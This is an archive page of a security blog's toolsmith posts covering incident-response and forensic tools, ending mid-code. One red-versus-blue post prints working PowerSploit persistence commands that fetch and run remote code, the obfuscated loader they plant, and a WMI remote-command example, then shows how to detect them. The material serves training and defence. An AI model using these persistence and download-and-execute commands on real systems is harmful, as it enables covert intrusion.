Tuesday, February 09, 2016

toolsmith #113: DFIR case management with FIR

#NousSommesUnis #ViveLaFrance

Bonjour! This month we'll explore Fast Incident Response, or FIR, from CERT Societe Generale, the team responsible for providing information security incident handling and response to cybercrime issues targeting  for Societe Generale. If you're developing a CERT or incident management team but haven't yet allocated budget for commercial case management tooling such as DFLabs Incman NG or CO3/Resilient (not endorsements), FIR is an immediate solution for your consideration. It's a nice quick, easy to deploy fit for any DFIR team in my opinion. It's built on Django (also one of my favorite movies), the Python Web framework, and leverages virtualenv, a tool to create isolated Python environments.
From their own README: "FIR (Fast Incident Response) is an cybersecurity incident management platform designed with agility and speed in mind. It allows for easy creation, tracking, and reporting of cybersecurity incidents.
FIR is for anyone needing to track cybersecurity incidents (CSIRTs, CERTs, SOCs, etc.). It's was tailored to suit our needs and our team's habits, but we put a great deal of effort into making it as generic as possible before releasing it so that other teams around the world may also use it and customize it as they see fit."
I had a quick chat with Gael Muller who said that the story about why they created and open-sourced FIR is on their blog, and that one year later, they do not regret their choice to do the extra work in order to make it FIR generic and release it to the public. "It seems there are plenty of people using and loving it, and we received several contributions, so I guess this is a win/win situation."
FIR offers a production and development environment, I tested the development version as I ran it from my trusty Ubuntu 14.04 LTS VM test instance.
Installation is easy, follow this abridged course of action as pulled from FIR's Setting up a development environment guidance:
  1. sudo apt-get update
  2. sudo apt-get install python-dev python-pip python-lxml git libxml2-dev libxslt1-dev libz-dev
  3. sudo pip install virtualenv
  4. virtualenv env-FIR
  5. source env-FIR/bin/activate
  6. git clone https://github.com/certsocietegenerale/FIR.git
  7. cd FIR
  8. pip install -r requirements.txt
  9. cp fir/config/installed_apps.txt.sample fir/config/installed_apps.txt (enables the Plugins)
  10. ./manage.py migrate
  11. ./manage.py loaddata incidents/fixtures/seed_data.json
  12. ./manage.py loaddata incidents/fixtures/dev_users.json
  13. ./manage.py runserver
If not in Paris (#jesuisParis), you'll want to change the timezone for your location of operation, default is Europe/Paris. Make the change in /FIR/for/config/base.py, I converted to America/Los_Angeles as seen in Figure 1.
Figure 1
Control-C then re-run./manage.py runserver after you update base.py.
As you begin to explore the FIR UI you can login as admin/admin or dev/dev, I worked from the admin account (change the password if exposed to any active networks). You'll likely want to make some changes to create a test bed that is more relevant to your workflows and business requirements. To do so click Admin in the upper right-hand corner of the UI, it's a hyperlink to http://127.0.0.1:8000/admin/ as seen in Figure 2.

Figure 2
This is one incredibly flexible, highly configurable, user friendly and intuitive application. You'll find that the demo configuration options are just that, take the time to tune them to what makes sense for your DFIR and security incident management processes. I created test workflows imaging this instance of FIR was dedicated to CERT activities for a consortium of hospitals, we'll call it Holistic Hospital Alliance. I first modified Business Lines to better align with such a workload. Figure 3 exhibits these options.

Figure 3: Business Lines
Given that we're imagining response in a medical business scenario, I updated Incident Categories to include IoT and Medical Devices as seen in Figure 4. At teams these are arguably one and the same but imagine all the connected devices now or in the future in a hospital that may not be specifically medical devices.

Figure 4: Incident Categories
I also translated (well, I didn't, a search engine did) the French Bale Categories to English (glad to share), as seen in Figure 5.
Figure 5: Bale Categories
The initial Bale Categories are one of the only feature that remains that is specific to CERT Societe Generale. The categories provide correspondence between the incident categories they use every day, and the categories mentioned in the Basel III regulation. As a CERT for financials, they need to be able to report stats using these categories. According to Gael, most people do not use these or even know they exist, as it is only visible in the "Major Incidents" statistics view. Gael thinks it is better if people ignore this as these as they are not very useful for most users.

Now to create a few cases and enjoy the resulting dashboard. I added four events, three of which were incidents, including a Sev 3 malware incident (in FIR a Sev 4 is the highest severtity), a Sev 4 stolen credit card data incident, a Sev 2 vulnerable ICU machine incident, and a Sev 1 vulnerability scanning event as we see in Figure 6.

Figure 6: Dashboard

Numerous editing options await you, including the ability to define you plan of action and incident confidentiality levels, and granularity per unique incident handler (production version). And I'll bet about now you're saying "But Russ! What about reporting?" Aye, that's what the Stats page offers, yearly, quarterly, major incidents and annual comparisons, ready to go. Figure 7 tells the tale.

Figure 7: Stats
You will enjoy FIR, I promise, its easy to use, well conceived, simple to implement, and as free DFIR case management systems go, you really can't ask for more. Give a go for sure, and if so possessed, contribute to the FIR project. Vive la FIR et bien fait CERT Societe Generale! Merci, Gael Muller.
Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Tuesday, January 05, 2016

toolsmith #112: Red vs Blue - PowerSploit vs PowerForensics

Happy New Year and welcome to 2016!
When last we explored red team versus blue team tactics in May 2015, we utilized Invoke-Mimikatz, then reviewed and analyzed a victim with WinPmem and Rekall. The recent release of PowerSploit 3.0.0 on 18 DEC 2015 presents us with another opportunity to use PowerShell for a red team versus blue team discussion. This time its an all PowerShell scenario, thanks as well to PowerForensics.
Forget the old Apple pitch line: "There's an app for that." With so much PowerShell love, there's a PowerShell script for that!
For the uninitiated, a description of each.
PowerSploit "is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment."
PowerForensics "is a PowerShell digital forensics framework. It currently supports NTFS and is in the process of adding support for the ext4 file system."
Both are updated regularly and are GitHub projects subject to your feedback and contributions.
PowerSploit includes scripts that aid in antimalware bypasses, code execution, exfiltration, persistence, privilege escalation, reconnaissance, script modification, and general mayhem.
PowerForensics includes scripts the allow analysis of the boot sector, Windows artifacts, the Application Compatibility Cache, Windows Registry, as well as create forensic timelines. There are also Extended File System 4 (ext4) scripts as well as some utilities.

Credit where due, these two projects include some excellent developers, including Jared Atkinson, who leads PowerForensics but also contributes to PowerSploit. The PowerSploit team also includes Matt Graeber and Joe Bialek, I've admired their work and skill set for years.
We won't explore it here, but be sure to check out Empire from Will Schroeder, who also contributes to PowerSploit. The topic of a future toolsmith, "Empire is a pure PowerShell post-exploitation agent built on cryptologically-secure communications and a flexible architecture."

Before working through a couple of red vs. blue scenarios, a quick rundown on installation for both tool sets.
For PowerSploit, use Download Zip from the Github repo, move the zip package to your \Documents\WindowsPowerShell\Modules path under your user directory, unpack it, and rename PowerSploit-master to PowerSploit. From an administrator PowerShell prompt, run Import-Module PowerSploit and follow it with Get-Command -Module PowerSploit to ensure proper import.
You will definitely want to run $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid the incredibly annoying "Do you really want to run scripts downloaded from the Internet" warning. Yes, I really do.
For PowerForensics, the routine is similar, however the modules for PowerForensics are buried a bit deeper in the ZIP package. Again, use Download Zip from the Github repo, unpack the ZIP, drill down to \PowerForensics-master\PowerForensics\Module and copy the PowerForensics directory there to your \Documents\WindowsPowerShell\Modules path.
Issue Get-Module -ListAvailable -Name PowerForensics, them Import-Module PowerForensics. Again, Get-Command -Module PowerForensics will ensure a clean import and show you available modules. Likely worth adding $Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerForensics) ) {Get-ChildItem $_ -Recurse | Unblock-File} } to avoid hassles as well.

Let's begin with my absolute favorite, it is the ultimate in absolute nerd humor and is a force to be reckoned with all by itself. Imagine a red team engagement where you've pwned the entire environment, then you leave the following calling card.
If you run Get-Help Add-Persistence -examples you will discover the best infosec joke ever, forget just PowerShell. I'll modify Example 2 for our red vs. blue purposes, but the net result is unforgettable. From a PowerShell prompt:

  1. $Rickroll = { iex (iwr http://bit.ly/e0Mw9w ) }
  2. $ElevatedOptions = New-ElevatedPersistenceOption -ScheduledTask -OnIdle
  3. $UserOptions = New-UserPersistenceOption -ScheduledTask -OnIdle
  4. Add-Persistence -ScriptBlock $RickRoll -ElevatedPersistenceOption $ElevatedOptions -UserPersistenceOption $UserOptions -Verbose -PassThru | Out-EncodedCommand | Out-File .\rr.ps1

Three files are written: Persistence.ps1RemovePersistence.ps1, and rr.ps1 which is EncodedPersistence.ps1 renamed. Inspecting rr.ps1 reveals base64 encoding designed to conceal the 80's musical flashback that follows.
User-level and elevated persistent scheduled tasks are created, called TN Updater, and a profile.ps1 file is written to C:\Users\\Documents\WindowsPowerShell. If you inspect the profile script, you'll initially say to yourself "Whatever, the file is empty." Au contraire, ami. Scroll right. Ah there it is: sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('U8hMrVDQyCwvUsgoKSmw0tdPyizRy6nUTzXwLbcsV9BUAAA='),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
Should your victim, or you on behalf of your victim, run .\rr.ps1, a few pleasantries ensue. Every time the victim system goes idle or the user invokes a PowerShell prompt, oh yeah baby, Rick Astley, Never Gonna Give You Up. Er, more specifically, Rick ASCII. Thank you, Lee Holmes, really.


All good chuckles aside, a persistent rickroll is really just an example of any number of truly evil options. Shells, beacons, downloaders all come to mind, creativity is really your only challenge, Add-Persistence is your vehicle for scripting forget-me-not. All good for the red teamers, what's there for the blue team?    
PowerForensics Get-ForensicTimeline is likely a good start,  I'm a huge fan of a complete timeline. When you run Get-Help Get-ForensicTimeline you'll quickly learn that it incorporates the following cmdlets:
  • Get-ForensicScheduledJob
  • Get-ForensicShellLink
  • Get-ForensicUsnJrnl
  • Get-ForensicEventLog
  • Get-ForensicRegistryKey
Get-ForensicTimeline left unchecked will, of course, dump a timeline for the entire discernible date range of all artifacts. This can lead to an unwieldy, huge text dump, I suggest filtering up front. Assume as a blue team member I knew my "attack" had occurred sometime during the New Year holiday. As such, I ran Get-ForensicTimeline | Sort-Object -Property Date | Where-Object { $_.Date -ge "12/30/2015" -and $_.Date -le "01/04/2016" } > c:\tmp\timeline2.txt.
This resulted in a much more manageable file for indicator searches. In this case, we'd like to attribute detail to the creation and execution of rr.ps1. There are a couple of ways to dig in here. SLS, alias for Select-String is your PowerShell friend: sls rr.ps1 .\timeline2.txt -AllMatches.

Always remember your trusty text editor as well. Even though I pre-filtered by date range, 010 Editor was able to easily process the full timeline as it handles large files quite well.


You can see we've easily discovered who, what, and where. The why is easy, because rickrolls rule! :-)

Timeline analysis is always vital and important but there are more opportunities here, let's put these kits through their paces for a second scenario.
PowerSpoit includes Invoke-WmiCommand. Per its description, Invoke-WmiCommand "executes a PowerShell ScriptBlock on a target computer using WMI as a pure C2 channel. It does this by using the StdRegProv WMI registry provider methods to store a payload into a registry value. The command is then executed on the victim system and the output is stored in another registry value that is then retrieved remotely."
Easy enough, I used one of the example against one of my servers as follows:
Invoke-WmiCommand -Payload { 1+3+2+1+1 } -RegistryHive HKEY_LOCAL_MACHINE -RegistryKeyPath 'SOFTWARE\pwnkey' -RegistryPayloadValueName 'pwnage' -RegistryResultValueName 'pwnresults' -ComputerName '10.120.175.122' -Credential 'DOMAIN\username' -Verbose
I changed my domain and username to DOMAIN\username for the example, obviously you'll use your known good credentials. Results follow.


The payload here is simple math, 1+3+2+1+1, as executed on my victim server (10.120.175.122) and returned the result (8) to my attacker host. You can imagine how useful quick, easy remote WMI calls might be for a red team. Obviously a more constructive (destructive?) payload would be in order. But how to spot this from the blue team's perspective?
PowerForensics includes Get-ForensicEventLog.  
Registry tweaks create Windows Security event log entries, including  4656 for registry key open, 4657 for creation, modification and deletion of registry values, and 4658 for registry key closed.
Imagine a security event log export file from a victim system, ready for analysis on your forensic workstation. As such, you could run the likes of Get-ForensicEventLog -path C:\tmp\security.evtx | Where-Object { $_.EventData -like "EventId: 4656" }.


See? That's not so bad, right? Red team events do not need to leave the blue team scrambling to catch up. Similar tactics but different outcomes. 
I've done neither of these PowerShell infosec offerings any real justice, but hopefully opened your eyes to the options and opportunities the represent. Use them both and you'll be better for it.
Conduct your red vs. blue exercises in concert, cooperatively, and you'll achieve improved outcomes. Emulate that adversary, then hunt him down.
Follow these guys on Twitter if you want to stay up on the PowerShell arms race. :-)


Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Thursday, December 17, 2015

Vote now: 2015 Toolsmith Tool of the Year

If your browser doesn't support IFRAMEs, you can vote directly here.

Create your own user feedback survey

Monday, December 07, 2015

toolsmith #111: Lovely RITA, may I inquire?

We benefit this month from another offering first spotted via my fellow tool aficionados over at Toolswatch. And just like that, bam! A Beatles song...stuck in my head...all day.The crazy crew at Blackhills Security have embarked on another cool project: Real Intelligence Threat Analysis, or RITA, thus named because "Johns' mom" was already taken.

Yep, that kind of crazy :-)
This is the team who's brought us ADHD (Active Defense Harbinger Distribution and Recon-ng, both prior toolsmith topics. As such, I stalk their site, blog, and Twitter accounts like a tool nerd possessed, waiting for the next set of interesting bits to drop. RITA is very young in its development life cycle, not yet even two months from its initial release as this is written. That does not mean it should not be brought to your immediate attention. On 4 DEC the Black Hills Info Sec team updated RITA's Bro logs import capabilities, her moment had arrived.
From RITA's readme.md: "RITA is a toolkit which is intended to help approach the often overwhelming task of combing through piles of log data looking for suspect behavior.
RITA is intended to help in the search for indicators of compromise in enterprise networks of varying size. The framework was instructed by it's engineers experience in penetration testing with the question of how they'd catch themselves, thus the analysis tends to looks specifically at the indicators their tools tend to leave behind." This is the basis of a contemporary hunting practice, the definition of proper red team / blue team give and take. Emulate your adversary with the same tools they'd use (red), then write and implement detection and alerting logic to identify that same activity. You'll force your red teams to become stealthier while improving your blue team tactics, all the while improving your likelihood of catching average and less sophisticated adversaries.
John and team have endeavored to document RITA, and while the docs are raw, they'll definitely get you under way. Here's a bit of a manifest to help bring you up to speed:
1) Initial video
2) Initial blog post
3) Release notes
4) Initial overview
5) Bro logs import overview
6) OVA for your preferred virtualization platform (works like a charm on VMWare)

Read all the docs, that's an order, but I'll give you my exact setup steps, which borrow liberally from the docs above...that you're supposed to read.
1) Download and import the RITA OVA. Username: ht, password: !templinpw! (change it).
2) Crack open a terminal and run sudo apt-get update && sudo apt-get upgrade. Good time to take a VM snapshot.
3) Download bro_logs.tar.gz and logstash_script.tar.gz.
4) Create a logs directory, I used mkdir /home/ht/Documents/toolsmith.
5) Unpack bro_logs.tar.gz in your new directory, it created /home/ht/Documents/toolsmith/logs for me.
6) Unpack logstash_script.tar.gz in the new logs directory.
7) cd logstash_script.
8) chmod +x run.sh.
9) Edit bro.conf (line 128) such that imported Bro logs write to an index of your choosing. You'll be shocked to learn that I chose toolsmith.
10) ./run.sh ../bro_meterpreter/2015-* ../dns_bro/2015-* ../powershell/2015-*
Figure 1: Import in progress
11) Browse to http://localhost:5601 to access Kibana. RITA runs on an ELK stack if you haven't figured that out yet. :-)
12) Go to Settings tab, change the index name to that which you selected above and add @timestamp under Time-field name resulting in something like Figure 2.
Figure 2: Kibana Settings
13) Go to Discover, and change time range from Last 15 Minutes to Last 5 Years. If all's gone to plan you'll see 572,687 entries.
14) Back at your terminal, cd Documents/RITA.
15) python run.py
16) Browse to http://localhost:5000 for the RITA UI
17) Enter the name of the index you created, should appear as in Figure 3
Figure 3: RITA UI
RITA gives you these capabilities in her current release:

Beaconing
Connections that happen frequently and on similar intervals could be an indicator of malware calling home
Blacklisted IPs
Blacklisted IPs are addresses reported as being involved with malware, spamming, and other dangerous activities
Scanning
These events occur when a computer attempts to connect to a large number of ports on a system, searching for vulnerabilities
Long Durations
Connections that are beyond the length of average on a network could indicate a compromised system
Long URLs
Longer than normal URLs could potentially be used to transfer malicious data into the system
Concurrent Logins
A user being logged into a high number of systems could indicate that this user's account or original system has been compromised

Under Beaconing, change potential_save_dir to /home/ht/Desktop/ then click Run Module.
While you wait, you can watch progress in you terminal window.
Figure 4: Beacon analysis progress
Again, browse to http://localhost:5601, go to Discover, and change time range from Last 15 Minutes to Last 5 Years.  You'll see a slew of results for "unlikely beacons"; this will not do. We need likely beacons, or what's the point? Search result_type:likely_beacons, and dig deeper. A number of the results seek destinations that are multicast addresses, let's filter those out. I tried result_type:likely_beacons -239.255.255.250 and shrunk to load to three hits, two of which shared a destination IP of 107.170.48.146 as seen in Figure 5.

Figure 5: Filtered beacons
You should also see a number of PNG result files in /home/ht/Desktop by the way, which will visually help you confirm, Figure 5 does exactly that. Source IPs 192.168.56.72 and 192.168.0.23 are both communicating with 107.170.48.146 over HTTP.

Figure 6: Beacons

The beaconing is identified via a Fast Fourier Transform algorithm (FFT) generating graph that represents the results based on the time stamps for a given source/destination connection.
For continued pursuit of a culprit I then filtered with src:192.168.56.72 AND dst:107.170.48.146 -unlikely_beacons, which resulted in 49,611 hits.
Maybe an additional focus area from RITA's list such as Long Durations? Yep, that worked. result_type=long_durations AND src=192.168.56.72 returned 60 hits including 54.192.89.85. That IP belongs to Amazon Web Services, nobody ever uses a cloud node for exfil or C2 during hacks or pentest work, right? :-) A long connection at odd hours bound from one of your source IPs to an AWS node could be quite interesting and worth a closer look.

Figure 7: Why is my IP having a long chat with an AWS node?
 Another interesting pivot may be to see what else your source IP has been up to at this point. I tried result_type=scanning AND src=192.168.56.72 and...what!...a scanning hit?

Figure 8: Scanning
You may notice that the dates are wonky, they represent when I ran the query rather that the date of the actual scanning activity. I re-queried just the destination IP, 67.215.250.139 in this case, and returned correct time stamps: September 16, 2015.
Sure, these are sample logs, but as an exercise opportunity, the work beautifully conveying how important it is to analyze from multiple perspectives.

Wrap Up

Yes, RITA is work in progress, but if you use it only as an excuse to improve you ELK stack fu, you're already winning. Yes, we all love Splunk, but no we cannot all afford it. RITA and ELK go a long way down the path to free and open source alternatives, particularly for Bro users, which you should all be.
Keep an eye on this project, I love where it's going, I'm betting the futures for this one.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Thursday, November 05, 2015

toolsmith #110: Sysinternals vs Kryptic

26 OCT 2015 marked some updates for the venerable Windows Sysinternals tool kit, presenting us with the perfect opportunity to use them in a live malware incident response scenario. Immediately relevant updates include Autoruns v13.5, Sigcheck v2.30, RAMMap v1.4, and Sysmon 3.11.
Quoting directly from the Sysinternals Site Discussion, the updates are as follows:
  • Autoruns: the most comprehensive autostart viewer and manager available for Windows, now shows 32-bit Office addins and font drivers, and enables re-submission of known im  ages to Virus Total for a new scan.
  • Sigcheck: displays detailed file version information, image signing status, catalog and certificate store contents an now includes updated Windows 10 certificate OIDs, support for checking corresponding MUI (internationalization strings) files for more accurate version data, the version company name, and the signature publisher for signed files.
  • RAMMap: a tool that reports detailed information about physical memory usage, is now compatible with Windows 10 and includes a bug fix.
  • Sysmon: logs security relevant process, network and file events to the event log. This update fixes a memory leak for DLL image load event monitoring and removes a misleading warning when processing configuration files. 
For Sysmon we'll include use of the 20 JULY 2015 update to 3.1 as well, given that, since last we discussed Sysmon@markrussinovich and team have added information about the thread initialization function for CreateRemoteThread events, including the DLL and function name and address.
I grabbed a Kryptik sample, a Zbot/FakeAV variant, from VirusShare that exhibits well using these tools. VirusTotal reference to this sample is here. A Windows 7 x64 virtual machine fell victim to this malware and gave up perfect indicators via these Sysinternals specialists.

Autoruns:
Beginning with Autoruns v13.5, an immediate suspect presented itself per Figure 1.

Figure 1

I am pretty darned sure that C:\users\malman\appdata\roaming\ibne\haho.exe does not serve a legitimate purpose, and more importantly, sure as hell doesn't belong in HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run,  malware's favorite start-me-up. Right click the entry in Autoruns, select Check VirusTotal, and you'll get a fairly quick answer. You'll see a Scanning File status under the VirusTotal column header while its scanning. Turns out haho.exe is not an OLE server and is a password stealing Kryptik variant. :-)

Sigcheck:
I first ran sigcheck C:\users\malman\appdata\roaming\ibne\haho.exe and received the details expected regarding the version company name as well as signature publisher, specifically the lack thereof here. The sample was not signed and sigcheck validated its lack of legitimacy by confirming the Company as eSafe (its not), the Publisher as n/a, and the Description as OLE Server, all noted in Figure 2.

Figure 2

As a counterpoint to a malicious file, when you run sigcheck against a legitimate (usually), signed file such as C:\Windows\System32\notepad.exe, you receive much more robust comforting results as seen in Figure 3.

Figure 3
RAMMap:
Once you've established some useful indicators such as haho.exe, its installation path and subsequent registry key, you can derive related and useful information using RAMMap live on the victim system as done with Sigcheck. You're likely accustomed to thinking that RAMMap is just a pretty picture of memory usage, but it does offer more. You can use the RAMMap Processes tab to determine active sessions, PID, and memory utilization, which I've done for out malicious process in Figure 4.

Figure 4
Similar results are derived from the File Summary tab including total and standby memory utilized.

Figure 5
Both views were sorted, then searched specifically for C:\users\malman\appdata\roaming\ibne\haho.exe as discovered with Autoruns,

Sysmon:
With the 20 JUL 2015 update to Sysmon comes the addition of Event ID 8 for CreateRemoteThread events. This is an absolute bonus as malware often injects DLLs using the CreateRemoteThread function. There's a great reference to this method at the War Room.
For Sysmon reference, I'll point you back to my post, Sysmon 2.0 & EventViz.
To help elaborate on Sysmon results I took advantage of @matt_churchill's Sysmon_Parse script, which in turn utilizes Microsoft's essential Log Parser, @TekDefense's TekCollect, @nirsoft's IPNetInfo and @woanware's virustotalchecker . Its installation and use guidelines are written right into the script as remarks, it's incredibly straightforward. You may run into a glitch with httplib2, a Python dependency for the TekCollect script. Overcome it by downloading source, copying it to the Lib folder of your Python interpreter installation (commonly C:\Python27 on Windows), changing directory to C:\Python27\Lib\httplib2 and running python setup.py install. Thereafter you need only run sysmon_parse.cmd and make use of results found in the Results_date directory, in individual text files. Sysmon_Parse first robocopies the Sysmon event log to a temporary .evtx, then parses it to a CSV file, sysmon_parsed.txt, with Log Parser. Note that you can supply an event log from other machines for Sysmon_Parse to crunch, on an analysis workstation rather than the victim host. Sysmon_Parse then calls TekCollect to extract artifacts such as MD5, SHA1, and SHA256 hashes, assuming you've enabled all hash types with sysmon -c -n -l -h md5,sha1,sha256. TekCollect also parses out all domains, URLs, IPs, and executables noted in the Sysmon log. The IPs should match your Sysmon Event ID 3s (Network Connection) quite nicely. I also found the SHA1 for this sample, dc965d0a38505001c800049a6c39817aec3616f0, in the Sysmon_Parse SHA1 text results, so clearly that TekCollect parser works well.
In this case, we're curious to determine if haho.exe used CreateRemoteThread by filtering for Event ID 8. The answer is, of course; an example result reads as follows:
19564,2015-11-05 02:07:21,8,Microsoft-Windows-Sysmon,WIN-QN9NR3Q1MNR,S-1-5-18,2015-11-05 02:07:21.631|{2F96EDF1-B473-563A-0000-00106D1E1000}|1756|C:\Users\malman\AppData\Roaming\Ibne\haho.exe|{2F96EDF1-B9D8-563A-0000-0010BF9B2000}|568|C:\Windows\SysWOW64\WerFault.exe|1008|0x00000000000A45E0||
The source PID is 1756, the source image is our Kryptik friend haho.exe the target PID is 568 and the target image is WerFault.exe, used for Windows Error Reporting. 
CreateRemoteThread tracking is a great addition to Sysmon, already an outstanding tool.

Wrap Up

You've got a lot to take a look at packed in here. In addition to the Sysinternals updates, Sysmon_Parse and it's dependencies give you a lot to consider, or reconsider, for your DFIR toolkit.
You've gotten a look at using them all to inspect a host pwned by a Kryptik/Zbot sample and learned that you can quickly discover quite a bit about malware behavior using just a few simple but powerful tools. Hopefully your inspired to grab this sample (I'll send it to you if you ask), and experiment with this excellent collection of DFIR goodness.

Ping me via email or Twitter if you have questions: russ at holisticinfosec dot org or @holisticinfosec.

Cheers…until next month.

Friday, October 02, 2015

toolsmith #109: CapLoader network carving from Rekall WinPmem Memory Image

With some of my new found flexibility (not bound to print deadlines) I'm now able to provide near-realtime toolsmith content in direct response to recommendations or interaction via social media (@holisticinfosec), and other avenues. Just another service provided by your friendly neighborhood toolsmith. :-) Such is the case as we discuss Erik Hjelmvik's CapLoader. We're connecting a few strands in our beautifully enmeshed community here. First, we discussed Erik's outstanding NetworkMiner in November 2011. Erik's tools have done nothing but improve since, and CapLoader, as part of those regular improvements, came to fruition to answer the "large file" problem. Second, in May 2015, when I discussed Hunting in-memory adversaries with Rekall and WinPmem I created a fairly sizable memory image (5GB) that included network activity from a compromised host to an attacker-controlled resource. When, via Twitter, I announced that I'm presenting related content to a 2015 Northwest Regional ICAC Conference audience on 5 OCT, Erik replied to remind me that, if I hadn't already, to try and carve packets from my memory dump with CapLoader, and that I'll be amazed. As a jaded, crusty, and exponentially aging security practitioner, I'm not easily amazed, so I took the challenge and told him "I'm going to do u one better. Next #toolsmith to be about CapLoader inspecting the memory image specifically created for this talk." And here we are! The HolisticInfoSec circle of life.


As CapLoader's network carving from memory feature has been available for more than a year, and it was nicely written up for you on the Netresec blog, I'll point you to Erik's March 2014 post as your starting point, along with the above mentioned WinPmem/Rekall article. CapLoader is easily downloaded and installed on modern Windows systems, your only dependency is .NET Framework 4.0. The free version will provide all the network packet carving magic you need, but I also tested the commercial version with a license provided by Erik.
I'm going to give you some perfomance benchmarks as well as we go along.
Here's how easy it was to put CapLoader 1.3.1 Trial to use on the compromised.raw memory image from the WinPmem/Rekall article.
  1. Opened CapLoader
  2. Selected File then Carve Packets from File
  3. Selected compromised.raw from Open dialog
  4. Under Input Settings, left Create Gantt chart, Build hosts list, and Parse DNS enabled. The additional options aren't available in the free version. We'll discuss the licensed version features and performance below,
  5. Left all Carving Options enabled and clicked Start as seen in Figure 1.


Figure 1: CapLoader memory image network carving options
Exactly 76 seconds later, the free, trial version of CapLoader extracted 32 flows from 23 hosts from a 5GB memory image acquired via WinPmem. Sorry, this isn't amazing, it's amazeballs. I can't express how fast that is for functionality of this nature. There, awaiting further analysis, was compromised.raw.pcapng. Better still, I wanted to just focus on flows for two hosts, 192.168.177.130 (attacker) and 192.168.177.129 (victim). CapLoader includes an Auto-extract flows on select feature, I just highlighted these two flows, and BLAM!, they were written out to a new PCAPNG file as seen in Figure 2.

Figure 2: Selected flows
Just double-click the PCAP CapLoader logo in the upper-right quadrant of the CapLoader UI and it'll open the selected flows in Wireshark (if installed) automatically. You can also just click File then Save Selected Flows. In addition to Wireshark analysis, what's the most obvious next step given that we're talking about a Netresec tool here? Yes! Use NetworkMiner. One small note: if you have any issues moving between PCAPNG and PCAP files (the free version of NetworkMiner doesn't open PCAPNG files) you can use PcapNG.com (also a Netresec service) to convert captures smaller than 8MB.
I repeated the exercise with the commercial version of CapLoader with two additional features enabled, Identify Protocols and Show Countries, and in 72 seconds (four seconds faster than our first run with the trial version) had my results.
After all this though, the resulting network capture was not much use as I had pushed my Meterpreter session for the Rekall discussion over HTTPS, but you get the point. Had network traffic ensued via a clear-text protocol, CapLoader's ability to rapidly carve it out of a memory image would have been invaluable.
To prove that point, I'll give you one quick unrelated example. Using the commercial copy of CapLoader, I loaded a different memory image where misuse of MSN Messenger was in play. In exactly 22 seconds for this 1GB memory image, and a bit of column sorting, I was able to instantly visualize the Messeger traffic using the CapLoader Gantt feature as seen in Figure 3.

Figure 3: CapLoader Gantt chart visual
CapLoader is wonderful stuff indeed from Erik and Netresec, loved the suggestion to explore it in the context of the Hunting in-memory adversaries with Rekall and WinPmem presentation, and as always, look forward to what's next from Erik. Follow Erik via @netresec and ping me via email or Twitter if you have questions (russ at holisticinfosec dot org or @holisticinfosec).
Cheers…until next time.

Wednesday, September 02, 2015

toolsmith #108: Visualizing Network Data with Network Data

Prerequisites

R development environment (R, RStudio)

This month finds us in a new phase for toolsmith as it will not be associated with ISSA or the ISSA Journal any further. Suffice it to say that the ISSA board and management organization decided they no longer wanted to pay the small monthly stipend I’d been receiving since the inception of the toolsmith column. As I am by no means a profiteer, I am also not a charity, so we simply parted ways. All the better I say, as I have been less than satisfied with ISSA as an organization: Ira Winkler and Mary Ann Davidson should serve to define that dissatisfaction.
I will say this, however. All dissatisfaction aside, it has been my distinct pleasure to write for the ISSA Journal editor, Thom Barrie, who has been a loyal, dedicated, committed, and capable editor and someone I consider a friend. I will miss our monthly banter, I will miss him, and I thank him most sincerely for these nine years as editor. The ISSA Journal is better for his care and attention. Thank you, Thom.
Enough said, what’s next? I’ll continue posting toolsmith here while I consider options for a new home or partnership. I may just stick exclusively to my blog and see if there is a sponsor or two who might be interested in helping me carry the toolsmith message.
I thought I'd use our new circumstances to test a few different ideas with you over the next few months, your feedback is welcome as always, including ideas regarding what you might like to see us try. As always toolsmith will continue to offers insights on tools useful to the information security practitioner, typically open source and free.

To that end, I thought I'd offer you a bit of R code I recently cranked out for a MOOC I was taking. The following visualizations with R are the result of fulfilling a recent assignment for Coursera’s online Data Visualization class. The assignment was meant to give the opportunity to do non-coordinate data visualization with network data as it lends itself easily to graph visualization. I chose, with a bit of cheekiness in mind, to visualize network data…wait for it…with security-related network data.

Data Overview

I gathered data for the assignment from a network traffic packet capture specific to malware called Win32/Sirefef or ZeroAccess that uses stealth to hide its presence on victim systems. This Trojan family runs the gamut of expected behaviors, including downloading and running additional binaries, contacting C2, and disabling system security features. The Microsoft Malware Protection Center reference is here.
The packet capture I used was gathered during a ZeroAccess run-time analysis in my lab using a virtualized Windows victim and Wireshark, which allowed me to capture data to be saved as a CSV. The resulting CSV provides an excellent sample set inclusive of nodes and edges useful for network visualization. Keep in mind that this is a small example with a reduced node count to avoid clutter and serve as an exemplar. A few notes about the capture:
  • Where the protocol utilized was HTTP, the resulting packet length was approximately 220 bytes.
  • Where the protocol was TCP other than HTTP, the resulting packet length was approximately 60 bytes.
  • For tidy visualization these approximations are utilized rather than actual packet length.
  • Only some hosts utilized HTTP, specific edges are visualized where appropriate.
A summary of the data is available for your review after the Graphviz plots at the end of this document.

DiagrammeR and Graphviz

The DiagrammeR package for R includes Graphviz, which, in turn, includes four rendering engines including dot, neato, twopi, and circo. I’ve mentioned Graphviz as part of my discussion of ProcDot and AfterGlow as it is inherent to both projects. The following plots represent a subset of the ZeroAccess malware network traffic data.
- The green node represents the victim system.
- Red nodes represent the attacker systems.
- Orange nodes represent the protocol utilized.
- The cyan node represent the length of the packet (approximate.)
- Black edges represent the network traffic to and from the victim and attackers.
- Orange edges represent hosts conversing over TCP protocol other than HTTP.
- Cyan edges represent the relationship of protocol to packet length.
- Purple edges represent hosts communicating via the HTTP protocol.
Graphs are plotted in order of my preference for effective visualization; code for each follows.

After these first four visualizations, keep reading, I pulled together a way to read in the related CSV and render a network graph automagically.

--------------------------------------------------------------------------------------------------------------------------
Visualization 1: Graphviz ZeroAccess network circo plot



Visualization 1 code

library(DiagrammeR)
grViz("
digraph {
      
